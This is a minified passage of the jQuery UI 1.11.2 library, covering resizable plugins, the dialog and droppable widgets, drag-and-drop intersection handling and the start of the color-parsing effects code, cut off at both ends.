e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,s]))},ne:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},nw:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,s]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add("resizable","animate",{stop:function(t){var i=e(this).resizable("instance"),s=i.options,n=i._proportionallyResizeElements,a=n.length&&/textarea/i.test(n[0].nodeName),o=a&&i._hasScroll(n[0],"left")?0:i.sizeDiff.height,r=a?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-o},l=parseInt(i.element.css("left"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css("top"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(e.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css("width"),10),height:parseInt(i.element.css("height"),10),top:parseInt(i.element.css("top"),10),left:parseInt(i.element.css("left"),10)};n&&n.length&&e(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate("resize",t)}})}}),e.ui.plugin.add("resizable","containment",{start:function(){var t,i,s,n,a,o,r,h=e(this).resizable("instance"),l=h.options,u=h.element,d=l.containment,c=d instanceof e?d.get(0):/parent/.test(d)?u.parent().get(0):d;c&&(h.containerElement=e(c),/document/.test(d)||d===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(t=e(c),i=[],e(["Top","Right","Left","Bottom"]).each(function(e,s){i[e]=h._num(t.css("padding"+s))}),h.containerOffset=t.offset(),h.containerPosition=t.position(),h.containerSize={height:t.innerHeight()-i[3],width:t.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,a=h.containerSize.width,o=h._hasScroll(c,"left")?c.scrollWidth:a,r=h._hasScroll(c)?c.scrollHeight:n,h.parentData={element:c,left:s.left,top:s.top,width:o,height:r}))},resize:function(t){var i,s,n,a,o=e(this).resizable("instance"),r=o.options,h=o.containerOffset,l=o.position,u=o._aspectRatio||t.shiftKey,d={top:0,left:0},c=o.containerElement,p=!0;c[0]!==document&&/static/.test(c.css("position"))&&(d=h),l.left<(o._helper?h.left:0)&&(o.size.width=o.size.width+(o._helper?o.position.left-h.left:o.position.left-d.left),u&&(o.size.height=o.size.width/o.aspectRatio,p=!1),o.position.left=r.helper?h.left:0),l.top<(o._helper?h.top:0)&&(o.size.height=o.size.height+(o._helper?o.position.top-h.top:o.position.top),u&&(o.size.width=o.size.height*o.aspectRatio,p=!1),o.position.top=o._helper?h.top:0),n=o.containerElement.get(0)===o.element.parent().get(0),a=/relative|absolute/.test(o.containerElement.css("position")),n&&a?(o.offset.left=o.parentData.left+o.position.left,o.offset.top=o.parentData.top+o.position.top):(o.offset.left=o.element.offset().left,o.offset.top=o.element.offset().top),i=Math.abs(o.sizeDiff.width+(o._helper?o.offset.left-d.left:o.offset.left-h.left)),s=Math.abs(o.sizeDiff.height+(o._helper?o.offset.top-d.top:o.offset.top-h.top)),i+o.size.width>=o.parentData.width&&(o.size.width=o.parentData.width-i,u&&(o.size.height=o.size.width/o.aspectRatio,p=!1)),s+o.size.height>=o.parentData.height&&(o.size.height=o.parentData.height-s,u&&(o.size.width=o.size.height*o.aspectRatio,p=!1)),p||(o.position.left=o.prevPosition.left,o.position.top=o.prevPosition.top,o.size.width=o.prevSize.width,o.size.height=o.prevSize.height)},stop:function(){var t=e(this).resizable("instance"),i=t.options,s=t.containerOffset,n=t.containerPosition,a=t.containerElement,o=e(t.helper),r=o.offset(),h=o.outerWidth()-t.sizeDiff.width,l=o.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l}),t._helper&&!i.animate&&/static/.test(a.css("position"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),e.ui.plugin.add("resizable","alsoResize",{start:function(){var t=e(this).resizable("instance"),i=t.options,s=function(t){e(t).each(function(){var t=e(this);t.data("ui-resizable-alsoresize",{width:parseInt(t.width(),10),height:parseInt(t.height(),10),left:parseInt(t.css("left"),10),top:parseInt(t.css("top"),10)})})};"object"!=typeof i.alsoResize||i.alsoResize.parentNode?s(i.alsoResize):i.alsoResize.length?(i.alsoResize=i.alsoResize[0],s(i.alsoResize)):e.each(i.alsoResize,function(e){s(e)})},resize:function(t,i){var s=e(this).resizable("instance"),n=s.options,a=s.originalSize,o=s.originalPosition,r={height:s.size.height-a.height||0,width:s.size.width-a.width||0,top:s.position.top-o.top||0,left:s.position.left-o.left||0},h=function(t,s){e(t).each(function(){var t=e(this),n=e(this).data("ui-resizable-alsoresize"),a={},o=s&&s.length?s:t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(o,function(e,t){var i=(n[t]||0)+(r[t]||0);i&&i>=0&&(a[t]=i||null)}),t.css(a)})};"object"!=typeof n.alsoResize||n.alsoResize.nodeType?h(n.alsoResize):e.each(n.alsoResize,function(e,t){h(e,t)})},stop:function(){e(this).removeData("resizable-alsoresize")}}),e.ui.plugin.add("resizable","ghost",{start:function(){var t=e(this).resizable("instance"),i=t.options,s=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass("string"==typeof i.ghost?i.ghost:""),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add("resizable","grid",{resize:function(){var t,i=e(this).resizable("instance"),s=i.options,n=i.size,a=i.originalSize,o=i.originalPosition,r=i.axis,h="number"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,u=h[1]||1,d=Math.round((n.width-a.width)/l)*l,c=Math.round((n.height-a.height)/u)*u,p=a.width+d,f=a.height+c,m=s.maxWidth&&p>s.maxWidth,g=s.maxHeight&&f>s.maxHeight,v=s.minWidth&&s.minWidth>p,y=s.minHeight&&s.minHeight>f;s.grid=h,v&&(p+=l),y&&(f+=u),m&&(p-=l),g&&(f-=u),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=o.top-c):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=o.left-d):((0>=f-u||0>=p-l)&&(t=i._getPaddingPlusBorderDimensions(this)),f-u>0?(i.size.height=f,i.position.top=o.top-c):(f=u-t.height,i.size.height=f,i.position.top=o.top+a.height-f),p-l>0?(i.size.width=p,i.position.left=o.left-d):(p=u-t.height,i.size.width=p,i.position.left=o.left+a.width-p))}}),e.ui.resizable,e.widget("ui.dialog",{version:"1.11.2",options:{appendTo:"body",autoOpen:!0,buttons:[],closeOnEscape:!0,closeText:"Close",dialogClass:"",draggable:!0,hide:null,height:"auto",maxHeight:null,maxWidth:null,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",of:window,collision:"fit",using:function(t){var i=e(this).css(t).offset().top;0>i&&e(this).css("top",t.top-i)}},resizable:!0,show:null,title:null,width:300,beforeClose:null,close:null,drag:null,dragStart:null,dragStop:null,focus:null,open:null,resize:null,resizeStart:null,resizeStop:null},sizeRelatedOptions:{buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},resizableRelatedOptions:{maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},_create:function(){this.originalCss={display:this.element[0].style.display,width:this.element[0].style.width,minHeight:this.element[0].style.minHeight,maxHeight:this.element[0].style.maxHeight,height:this.element[0].style.height},this.originalPosition={parent:this.element.parent(),index:this.element.parent().children().index(this.element)},this.originalTitle=this.element.attr("title"),this.options.title=this.options.title||this.originalTitle,this._createWrapper(),this.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(this.uiDialog),this._createTitlebar(),this._createButtonPane(),this.options.draggable&&e.fn.draggable&&this._makeDraggable(),this.options.resizable&&e.fn.resizable&&this._makeResizable(),this._isOpen=!1,this._trackFocus()},_init:function(){this.options.autoOpen&&this.open()},_appendTo:function(){var t=this.options.appendTo;return t&&(t.jquery||t.nodeType)?e(t):this.document.find(t||"body").eq(0)},_destroy:function(){var e,t=this.originalPosition;this._destroyOverlay(),this.element.removeUniqueId().removeClass("ui-dialog-content ui-widget-content").css(this.originalCss).detach(),this.uiDialog.stop(!0,!0).remove(),this.originalTitle&&this.element.attr("title",this.originalTitle),e=t.parent.children().eq(t.index),e.length&&e[0]!==this.element[0]?e.before(this.element):t.parent.append(this.element)},widget:function(){return this.uiDialog},disable:e.noop,enable:e.noop,close:function(t){var i,s=this;if(this._isOpen&&this._trigger("beforeClose",t)!==!1){if(this._isOpen=!1,this._focusedElement=null,this._destroyOverlay(),this._untrackInstance(),!this.opener.filter(":focusable").focus().length)try{i=this.document[0].activeElement,i&&"body"!==i.nodeName.toLowerCase()&&e(i).blur()}catch(n){}this._hide(this.uiDialog,this.options.hide,function(){s._trigger("close",t)})}},isOpen:function(){return this._isOpen},moveToTop:function(){this._moveToTop()},_moveToTop:function(t,i){var s=!1,n=this.uiDialog.siblings(".ui-front:visible").map(function(){return+e(this).css("z-index")}).get(),a=Math.max.apply(null,n);return a>=+this.uiDialog.css("z-index")&&(this.uiDialog.css("z-index",a+1),s=!0),s&&!i&&this._trigger("focus",t),s},open:function(){var t=this;return this._isOpen?(this._moveToTop()&&this._focusTabbable(),void 0):(this._isOpen=!0,this.opener=e(this.document[0].activeElement),this._size(),this._position(),this._createOverlay(),this._moveToTop(null,!0),this.overlay&&this.overlay.css("z-index",this.uiDialog.css("z-index")-1),this._show(this.uiDialog,this.options.show,function(){t._focusTabbable(),t._trigger("focus")}),this._makeFocusTarget(),this._trigger("open"),void 0)},_focusTabbable:function(){var e=this._focusedElement;e||(e=this.element.find("[autofocus]")),e.length||(e=this.element.find(":tabbable")),e.length||(e=this.uiDialogButtonPane.find(":tabbable")),e.length||(e=this.uiDialogTitlebarClose.filter(":tabbable")),e.length||(e=this.uiDialog),e.eq(0).focus()},_keepFocus:function(t){function i(){var t=this.document[0].activeElement,i=this.uiDialog[0]===t||e.contains(this.uiDialog[0],t);i||this._focusTabbable()}t.preventDefault(),i.call(this),this._delay(i)},_createWrapper:function(){this.uiDialog=e("<div>").addClass("ui-dialog ui-widget ui-widget-content ui-corner-all ui-front "+this.options.dialogClass).hide().attr({tabIndex:-1,role:"dialog"}).appendTo(this._appendTo()),this._on(this.uiDialog,{keydown:function(t){if(this.options.closeOnEscape&&!t.isDefaultPrevented()&&t.keyCode&&t.keyCode===e.ui.keyCode.ESCAPE)return t.preventDefault(),this.close(t),void 0;
if(t.keyCode===e.ui.keyCode.TAB&&!t.isDefaultPrevented()){var i=this.uiDialog.find(":tabbable"),s=i.filter(":first"),n=i.filter(":last");t.target!==n[0]&&t.target!==this.uiDialog[0]||t.shiftKey?t.target!==s[0]&&t.target!==this.uiDialog[0]||!t.shiftKey||(this._delay(function(){n.focus()}),t.preventDefault()):(this._delay(function(){s.focus()}),t.preventDefault())}},mousedown:function(e){this._moveToTop(e)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var t;this.uiDialogTitlebar=e("<div>").addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(this.uiDialog),this._on(this.uiDialogTitlebar,{mousedown:function(t){e(t.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.focus()}}),this.uiDialogTitlebarClose=e("<button type='button'></button>").button({label:this.options.closeText,icons:{primary:"ui-icon-closethick"},text:!1}).addClass("ui-dialog-titlebar-close").appendTo(this.uiDialogTitlebar),this._on(this.uiDialogTitlebarClose,{click:function(e){e.preventDefault(),this.close(e)}}),t=e("<span>").uniqueId().addClass("ui-dialog-title").prependTo(this.uiDialogTitlebar),this._title(t),this.uiDialog.attr({"aria-labelledby":t.attr("id")})},_title:function(e){this.options.title||e.html("&#160;"),e.text(this.options.title)},_createButtonPane:function(){this.uiDialogButtonPane=e("<div>").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),this.uiButtonSet=e("<div>").addClass("ui-dialog-buttonset").appendTo(this.uiDialogButtonPane),this._createButtons()},_createButtons:function(){var t=this,i=this.options.buttons;return this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),e.isEmptyObject(i)||e.isArray(i)&&!i.length?(this.uiDialog.removeClass("ui-dialog-buttons"),void 0):(e.each(i,function(i,s){var n,a;s=e.isFunction(s)?{click:s,text:i}:s,s=e.extend({type:"button"},s),n=s.click,s.click=function(){n.apply(t.element[0],arguments)},a={icons:s.icons,text:s.showText},delete s.icons,delete s.showText,e("<button></button>",s).button(a).appendTo(t.uiButtonSet)}),this.uiDialog.addClass("ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog),void 0)},_makeDraggable:function(){function t(e){return{position:e.position,offset:e.offset}}var i=this,s=this.options;this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(s,n){e(this).addClass("ui-dialog-dragging"),i._blockFrames(),i._trigger("dragStart",s,t(n))},drag:function(e,s){i._trigger("drag",e,t(s))},stop:function(n,a){var o=a.offset.left-i.document.scrollLeft(),r=a.offset.top-i.document.scrollTop();s.position={my:"left top",at:"left"+(o>=0?"+":"")+o+" "+"top"+(r>=0?"+":"")+r,of:i.window},e(this).removeClass("ui-dialog-dragging"),i._unblockFrames(),i._trigger("dragStop",n,t(a))}})},_makeResizable:function(){function t(e){return{originalPosition:e.originalPosition,originalSize:e.originalSize,position:e.position,size:e.size}}var i=this,s=this.options,n=s.resizable,a=this.uiDialog.css("position"),o="string"==typeof n?n:"n,e,s,w,se,sw,ne,nw";this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:s.maxWidth,maxHeight:s.maxHeight,minWidth:s.minWidth,minHeight:this._minHeight(),handles:o,start:function(s,n){e(this).addClass("ui-dialog-resizing"),i._blockFrames(),i._trigger("resizeStart",s,t(n))},resize:function(e,s){i._trigger("resize",e,t(s))},stop:function(n,a){var o=i.uiDialog.offset(),r=o.left-i.document.scrollLeft(),h=o.top-i.document.scrollTop();s.height=i.uiDialog.height(),s.width=i.uiDialog.width(),s.position={my:"left top",at:"left"+(r>=0?"+":"")+r+" "+"top"+(h>=0?"+":"")+h,of:i.window},e(this).removeClass("ui-dialog-resizing"),i._unblockFrames(),i._trigger("resizeStop",n,t(a))}}).css("position",a)},_trackFocus:function(){this._on(this.widget(),{focusin:function(t){this._makeFocusTarget(),this._focusedElement=e(t.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var t=this._trackingInstances(),i=e.inArray(this,t);-1!==i&&t.splice(i,1)},_trackingInstances:function(){var e=this.document.data("ui-dialog-instances");return e||(e=[],this.document.data("ui-dialog-instances",e)),e},_minHeight:function(){var e=this.options;return"auto"===e.height?e.minHeight:Math.min(e.minHeight,e.height)},_position:function(){var e=this.uiDialog.is(":visible");e||this.uiDialog.show(),this.uiDialog.position(this.options.position),e||this.uiDialog.hide()},_setOptions:function(t){var i=this,s=!1,n={};e.each(t,function(e,t){i._setOption(e,t),e in i.sizeRelatedOptions&&(s=!0),e in i.resizableRelatedOptions&&(n[e]=t)}),s&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",n)},_setOption:function(e,t){var i,s,n=this.uiDialog;"dialogClass"===e&&n.removeClass(this.options.dialogClass).addClass(t),"disabled"!==e&&(this._super(e,t),"appendTo"===e&&this.uiDialog.appendTo(this._appendTo()),"buttons"===e&&this._createButtons(),"closeText"===e&&this.uiDialogTitlebarClose.button({label:""+t}),"draggable"===e&&(i=n.is(":data(ui-draggable)"),i&&!t&&n.draggable("destroy"),!i&&t&&this._makeDraggable()),"position"===e&&this._position(),"resizable"===e&&(s=n.is(":data(ui-resizable)"),s&&!t&&n.resizable("destroy"),s&&"string"==typeof t&&n.resizable("option","handles",t),s||t===!1||this._makeResizable()),"title"===e&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var e,t,i,s=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),s.minWidth>s.width&&(s.width=s.minWidth),e=this.uiDialog.css({height:"auto",width:s.width}).outerHeight(),t=Math.max(0,s.minHeight-e),i="number"==typeof s.maxHeight?Math.max(0,s.maxHeight-e):"none","auto"===s.height?this.element.css({minHeight:t,maxHeight:i,height:"auto"}):this.element.height(Math.max(0,s.height-e)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var t=e(this);return e("<div>").css({position:"absolute",width:t.outerWidth(),height:t.outerHeight()}).appendTo(t.parent()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(t){return e(t.target).closest(".ui-dialog").length?!0:!!e(t.target).closest(".ui-datepicker").length},_createOverlay:function(){if(this.options.modal){var t=!0;this._delay(function(){t=!1}),this.document.data("ui-dialog-overlays")||this._on(this.document,{focusin:function(e){t||this._allowInteraction(e)||(e.preventDefault(),this._trackingInstances()[0]._focusTabbable())}}),this.overlay=e("<div>").addClass("ui-widget-overlay ui-front").appendTo(this._appendTo()),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1)}},_destroyOverlay:function(){if(this.options.modal&&this.overlay){var e=this.document.data("ui-dialog-overlays")-1;e?this.document.data("ui-dialog-overlays",e):this.document.unbind("focusin").removeData("ui-dialog-overlays"),this.overlay.remove(),this.overlay=null}}}),e.widget("ui.droppable",{version:"1.11.2",widgetEventPrefix:"drop",options:{accept:"*",activeClass:!1,addClasses:!0,greedy:!1,hoverClass:!1,scope:"default",tolerance:"intersect",activate:null,deactivate:null,drop:null,out:null,over:null},_create:function(){var t,i=this.options,s=i.accept;this.isover=!1,this.isout=!0,this.accept=e.isFunction(s)?s:function(e){return e.is(s)},this.proportions=function(){return arguments.length?(t=arguments[0],void 0):t?t:t={width:this.element[0].offsetWidth,height:this.element[0].offsetHeight}},this._addToManager(i.scope),i.addClasses&&this.element.addClass("ui-droppable")},_addToManager:function(t){e.ui.ddmanager.droppables[t]=e.ui.ddmanager.droppables[t]||[],e.ui.ddmanager.droppables[t].push(this)},_splice:function(e){for(var t=0;e.length>t;t++)e[t]===this&&e.splice(t,1)},_destroy:function(){var t=e.ui.ddmanager.droppables[this.options.scope];this._splice(t),this.element.removeClass("ui-droppable ui-droppable-disabled")},_setOption:function(t,i){if("accept"===t)this.accept=e.isFunction(i)?i:function(e){return e.is(i)};else if("scope"===t){var s=e.ui.ddmanager.droppables[this.options.scope];this._splice(s),this._addToManager(i)}this._super(t,i)},_activate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.addClass(this.options.activeClass),i&&this._trigger("activate",t,this.ui(i))},_deactivate:function(t){var i=e.ui.ddmanager.current;this.options.activeClass&&this.element.removeClass(this.options.activeClass),i&&this._trigger("deactivate",t,this.ui(i))},_over:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.addClass(this.options.hoverClass),this._trigger("over",t,this.ui(i)))},_out:function(t){var i=e.ui.ddmanager.current;i&&(i.currentItem||i.element)[0]!==this.element[0]&&this.accept.call(this.element[0],i.currentItem||i.element)&&(this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("out",t,this.ui(i)))},_drop:function(t,i){var s=i||e.ui.ddmanager.current,n=!1;return s&&(s.currentItem||s.element)[0]!==this.element[0]?(this.element.find(":data(ui-droppable)").not(".ui-draggable-dragging").each(function(){var i=e(this).droppable("instance");return i.options.greedy&&!i.options.disabled&&i.options.scope===s.options.scope&&i.accept.call(i.element[0],s.currentItem||s.element)&&e.ui.intersect(s,e.extend(i,{offset:i.element.offset()}),i.options.tolerance,t)?(n=!0,!1):void 0}),n?!1:this.accept.call(this.element[0],s.currentItem||s.element)?(this.options.activeClass&&this.element.removeClass(this.options.activeClass),this.options.hoverClass&&this.element.removeClass(this.options.hoverClass),this._trigger("drop",t,this.ui(s)),this.element):!1):!1},ui:function(e){return{draggable:e.currentItem||e.element,helper:e.helper,position:e.position,offset:e.positionAbs}}}),e.ui.intersect=function(){function e(e,t,i){return e>=t&&t+i>e}return function(t,i,s,n){if(!i.offset)return!1;var a=(t.positionAbs||t.position.absolute).left+t.margins.left,o=(t.positionAbs||t.position.absolute).top+t.margins.top,r=a+t.helperProportions.width,h=o+t.helperProportions.height,l=i.offset.left,u=i.offset.top,d=l+i.proportions().width,c=u+i.proportions().height;switch(s){case"fit":return a>=l&&d>=r&&o>=u&&c>=h;case"intersect":return a+t.helperProportions.width/2>l&&d>r-t.helperProportions.width/2&&o+t.helperProportions.height/2>u&&c>h-t.helperProportions.height/2;case"pointer":return e(n.pageY,u,i.proportions().height)&&e(n.pageX,l,i.proportions().width);case"touch":return(o>=u&&c>=o||h>=u&&c>=h||u>o&&h>c)&&(a>=l&&d>=a||r>=l&&d>=r||l>a&&r>d);default:return!1}}}(),e.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(t,i){var s,n,a=e.ui.ddmanager.droppables[t.options.scope]||[],o=i?i.type:null,r=(t.currentItem||t.element).find(":data(ui-droppable)").addBack();e:for(s=0;a.length>s;s++)if(!(a[s].options.disabled||t&&!a[s].accept.call(a[s].element[0],t.currentItem||t.element))){for(n=0;r.length>n;n++)if(r[n]===a[s].element[0]){a[s].proportions().height=0;continue e}a[s].visible="none"!==a[s].element.css("display"),a[s].visible&&("mousedown"===o&&a[s]._activate.call(a[s],i),a[s].offset=a[s].element.offset(),a[s].proportions({width:a[s].element[0].offsetWidth,height:a[s].element[0].offsetHeight}))}},drop:function(t,i){var s=!1;return e.each((e.ui.ddmanager.droppables[t.options.scope]||[]).slice(),function(){this.options&&(!this.options.disabled&&this.visible&&e.ui.intersect(t,this,this.options.tolerance,i)&&(s=this._drop.call(this,i)||s),!this.options.disabled&&this.visible&&this.accept.call(this.element[0],t.currentItem||t.element)&&(this.isout=!0,this.isover=!1,this._deactivate.call(this,i)))}),s},dragStart:function(t,i){t.element.parentsUntil("body").bind("scroll.droppable",function(){t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)})},drag:function(t,i){t.options.refreshPositions&&e.ui.ddmanager.prepareOffsets(t,i),e.each(e.ui.ddmanager.droppables[t.options.scope]||[],function(){if(!this.options.disabled&&!this.greedyChild&&this.visible){var s,n,a,o=e.ui.intersect(t,this,this.options.tolerance,i),r=!o&&this.isover?"isout":o&&!this.isover?"isover":null;r&&(this.options.greedy&&(n=this.options.scope,a=this.element.parents(":data(ui-droppable)").filter(function(){return e(this).droppable("instance").options.scope===n}),a.length&&(s=e(a[0]).droppable("instance"),s.greedyChild="isover"===r)),s&&"isover"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this["isout"===r?"isover":"isout"]=!1,this["isover"===r?"_over":"_out"].call(this,i),s&&"isout"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(t,i){t.element.parentsUntil("body").unbind("scroll.droppable"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}},e.ui.droppable;var y="ui-effects-",b=e;e.effects={effect:{}},function(e,t){function i(e,t,i){var s=d[t.type]||{};return null==e?i||!t.def?null:t.def:(e=s.floor?~~e:parseFloat(e),isNaN(e)?t.def:s.mod?(e+s.mod)%s.mod:0>e?0:e>s.max?s.max:e)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(e,a){var o,r=a.re.exec(i),h=r&&a.parse(r),l=a.space||"rgba";return h?(o=s[l](h),s[u[l].cache]=o[u[l].cache],n=s._rgba=o._rgba,!1):t}),n.length?("0,0,0,0"===n.join()&&e.extend(n,a.transparent),s):a[i]}function n(e,t,i){return i=(i+1)%1,1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+6*(t-e)*(2/3-i):e}var a,o="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",r=/^([\-+])=\s*(\d+\.?\d*)/,h=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[e[1],e[2],e[3],e[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[2.55*e[1],2.55*e[2],2.55*e[3],e[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(e){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(e){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(e){return[e[1],e[2]/100,e[3]/100,e[4]]}}],l=e.Color=function(t,i,s,n){return new e.Color.fn.parse(t,i,s,n)},u={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},d={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},c=l.support={},p=e("<p>")[0],f=e.each;p.style.cssText="background-color:rgba(1,1,1,.5)",c.rgba=p.style.backgroundColor.indexOf("rgba")>-1,f(u,function(e,t){t.cache="_"+e,t.props.alpha={idx:3,type:"percent",def:1}}),l.fn=e.extend(l.prototype,{parse:function(n,o,r,h){if(n===t)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=e(n).css(o),o=t);var d=this,c=e.type(n),p=this._rgba=[];return o!==t&&(n=[n,o,r,h],c="array"),"string"===c?this.parse(s(n)||a._default):"array"===c?(f(u.rgba.props,function(e,t){p[t.idx]=i(n[t.idx],t)}),this):"object"===c?(n instanceof l?f(u,function(e,t){n[t.cache]&&(d[t.cache]=n[t.cache].slice())}):f(u,function(t,s){var a=s.cache;f(s.props,function(e,t){if(!d[a]&&s.to){if("alpha"===e||null==n[e])return;d[a]=s.to(d._rgba)}d[a][t.idx]=i(n[e],t,!0)}),d[a]&&0>e.inArray(null,d[a].slice(0,3))&&(d[a][3]=1,s.from&&(d._rgba=s.from(d[a])))}),this):t},is:function(e){var i=l(e),s=!0,n=this;return f(u,function(e,a){var o,r=i[a.cache];return r&&(o=n[a.cache]||a.to&&a.to(n._rgba)||[],f(a.props,function(e,i){return null!=r[i.idx]?s=r[i.idx]===o[i.idx]:t})),s}),s},_space:function(){var e=[],t=this;return f(u,function(i,s){t[s.cache]&&e.push(i)}),e.pop()},transition:function(e,t){var s=l(e),n=s._space(),a=u[n],o=0===this.alpha()?l("transparent"):this,r=o[a.cache]||a.to(o._rgba),h=r.slice();return s=s[a.cache],f(a.props,function(e,n){var a=n.idx,o=r[a],l=s[a],u=d[n.type]||{};null!==l&&(null===o?h[a]=l:(u.mod&&(l-o>u.mod/2?o+=u.mod:o-l>u.mod/2&&(o-=u.mod)),h[a]=i((l-o)*t+o,n)))}),this[n](h)},blend:function(t){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(t)._rgba;return l(e.map(i,function(e,t){return(1-s)*n[t]+s*e}))},toRgbaString:function(){var t="rgba(",i=e.map(this._rgba,function(e,t){return null==e?t>2?1:0:e});return 1===i[3]&&(i.pop(),t="rgb("),t+i.join()+")"},toHslaString:function(){var t="hsla(",i=e.map(this.hsla(),function(e,t){return null==e&&(e=t>2?1:0),t&&3>t&&(e=Math.round(100*e)+"%"),e});return 1===i[3]&&(i.pop(),t="hsl("),t+i.join()+")"},toHexString:function(t){var i=this._rgba.slice(),s=i.pop();return t&&i.push(~~(255*s)),"#"+e.map(i,function(e){return e=(e||0).toString(16),1===e.length?"0"+e:e}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,u.hsla.to=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var 